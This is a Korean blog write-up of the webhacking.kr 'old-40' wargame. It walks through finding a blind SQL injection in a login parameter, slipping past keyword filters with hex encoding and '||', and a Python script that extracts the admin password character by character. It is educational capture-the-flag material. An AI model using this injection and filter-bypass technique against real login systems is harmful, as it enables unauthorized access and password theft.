old-40 풀이

2024. 5. 4. 03:02webhacking.kr

728x90

메인 페이지

로그인 폼에 정보들이 적혀있습니다

 

URL
로그인 후 페이지

적힌 그대로 login 버튼을 눌러주면 URL에 GET 형식으로 값이 전달됩니다

폼에 적힌 기본값들을 하나씩 바꿔주면서 변화를 살펴봤습니다

 

no를 0으로 → 로그인 안됨

no를 2로 → Failure

id를 다른 값으로 → Failure

pw를 다른 값으로 → Failure

 

로그인이 되는 경우와 안 되는 경우가 확실하게 나뉘는 걸 보니, Blind SQLi일 것 같습니다

변화가 보이는 no에 SQL 구문을 넣어보겠습니다

 

True

위 사진과 같이 값을 변경하고 login 버튼을 눌렀더니 Success - guest가 출력됐습니다

no에 0||id=0x61646d696e를 넣어주겠습니다

(0x61646d696e = admin의 hex값)

 

새로운 화면 (NEW!)

admin 계정의 비밀번호를 입력하라고 합니다

결론적으로 이번 문제는 admin 계정의 비밀번호를 알아내는 Blind SQLi 문제가 되겠네요

 

[필터링 문자열 목록]
char, and, or, ascii, 공백, ord

필터링을 피해서 Python 자동화 코드를 작성해 주면 됩니다

 

import requests
import string

url = 'https://webhacking.kr/challenge/web-29/?'
T = 'admin password : '
pw = ''


def query(payload):
    r = requests.get(url + payload)
    content = r.text
    return T in content
   

def find_pw_length():
    result = 1
    while query("no=0||no=2%26%26length(pw)={}&id=guest&pw=guest".format(result)) is False:
        result += 1
    return result


L = find_pw_length()

for i in range(1, L + 1):
    for c in string.printable:
        if query("no=0||no=2%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(i, hex(ord(c)))) is True:
            pw += c
            break

print("PW: ",pw)

 

나온 결과값을 admin password에 넣어주겠습니다

 

문제 풀이 성공

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-43 RevengE😈 풀이 (PW = FLAG)  (0) 2024.05.14
NotSQL 풀이 (PW = FLAG)  (0) 2024.05.08
old-29 풀이  (0) 2024.05.02
old-55 풀이  (0) 2024.04.15
old-13 풀이  (0) 2024.04.11